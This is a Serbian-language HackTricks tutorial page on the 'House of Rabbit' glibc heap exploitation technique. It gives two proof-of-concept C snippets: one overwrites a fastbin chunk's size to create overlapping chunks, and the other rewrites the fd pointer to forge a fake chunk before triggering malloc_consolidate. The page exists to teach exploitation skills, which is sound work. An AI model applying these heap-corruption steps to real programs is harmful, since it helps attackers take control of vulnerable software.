mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
95 lines
4.6 KiB
Markdown
95 lines
4.6 KiB
Markdown
# Kuća zečeva
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Drugi načini podrške HackTricks-u:
|
|
|
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
|
|
### Zahtevi
|
|
|
|
1. **Sposobnost modifikacije pokazivača fd ili veličine fast bin-a**: To znači da možete promeniti pokazivač napred za deo u fastbin-u ili njegovu veličinu.
|
|
2. **Sposobnost pokretanja `malloc_consolidate`**: Ovo se može postići ili alociranjem velikog dela ili spajanjem vršnog dela, što prisiljava hip da konsoliduje delove.
|
|
|
|
### Ciljevi
|
|
|
|
1. **Stvaranje preklapajućih delova**: Da bi jedan deo prekrio drugi, omogućavajući dalje manipulacije hipom.
|
|
2. **Forgeovanje lažnih delova**: Da bi prevarili alokator da tretira lažni deo kao legitimni deo tokom operacija hipa.
|
|
|
|
## Koraci napada
|
|
|
|
### POC 1: Modifikacija veličine fast bin dela
|
|
|
|
**Cilj**: Stvaranje preklapajućeg dela manipulacijom veličine fastbin dela.
|
|
|
|
* **Korak 1: Alokacija Delova**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
|
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
|
```
|
|
* **Korak 2: Oslobađanje Chunk-ova**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
free(chunk2); // Frees the chunk at 0x602050
|
|
```
|
|
* **Korak 3: Izmena Veličine Bloka**
|
|
```cpp
|
|
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
|
```
|
|
* **Korak 4: Izazovite `malloc_consolidate`**
|
|
```cpp
|
|
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Alociranje velikog bloka pokreće funkciju `malloc_consolidate`, spajajući male blokove u brzom binu. Manipulisana veličina `chunk1` uzrokuje preklapanje sa `chunk2`.
|
|
|
|
Nakon konsolidacije, `chunk1` se preklapa sa `chunk2`, omogućavajući daljnju eksploataciju.
|
|
|
|
### POC 2: Modifikacija `fd` pokazivača
|
|
|
|
**Cilj**: Kreiranje lažnog bloka manipulacijom brzog bin `fd` pokazivača.
|
|
|
|
* **Korak 1: Alociranje Blokova**
|
|
```cpp
|
|
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
|
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
|
```
|
|
**Objašnjenje**: Alociramo dva bloka, jedan manji i jedan veći, kako bismo postavili hip za lažni blok.
|
|
|
|
* **Korak 2: Kreiranje lažnog bloka**
|
|
```cpp
|
|
chunk2[1] = 0x31; // Fake chunk size 0x30
|
|
chunk2[7] = 0x21; // Next fake chunk
|
|
chunk2[11] = 0x21; // Next-next fake chunk
|
|
```
|
|
* **Korak 3: Oslobađanje `chunk1`**
|
|
```cpp
|
|
free(chunk1); // Frees the chunk at 0x602000
|
|
```
|
|
**Objašnjenje**: Oslobađamo `chunk1`, dodajući ga u listu fastbin.
|
|
|
|
* **Korak 4: Modifikujemo `fd` od `chunk1`**
|
|
```cpp
|
|
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
|
```
|
|
**Objašnjenje**: Menjamo pokazivač unapred (`fd`) `chunk1` da pokazuje na naš lažni blok unutar `chunk2`.
|
|
|
|
* **Korak 5: Pokretanje `malloc_consolidate`**
|
|
```cpp
|
|
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
|
```
|
|
Alociranje velikog bloka ponovo pokreće `malloc_consolidate`, koji obrađuje lažni blok.
|
|
|
|
Lažni blok postaje deo liste brzih blokova, čineći ga legitimnim blokom za dalje iskorišćavanje.
|
|
|
|
### Rezime
|
|
|
|
Tehnika **House of Rabbit** uključuje ili modifikovanje veličine brzog bin bloka kako bi se stvorili preklapajući blokovi ili manipulisanje `fd` pokazivača kako bi se stvorili lažni blokovi. Ovo omogućava napadačima da falsifikuju legitimne blokove u hipu, omogućavajući različite oblike iskorišćavanja. Razumevanje i vežbanje ovih koraka će unaprediti vaše veštine iskorišćavanja hipa.
|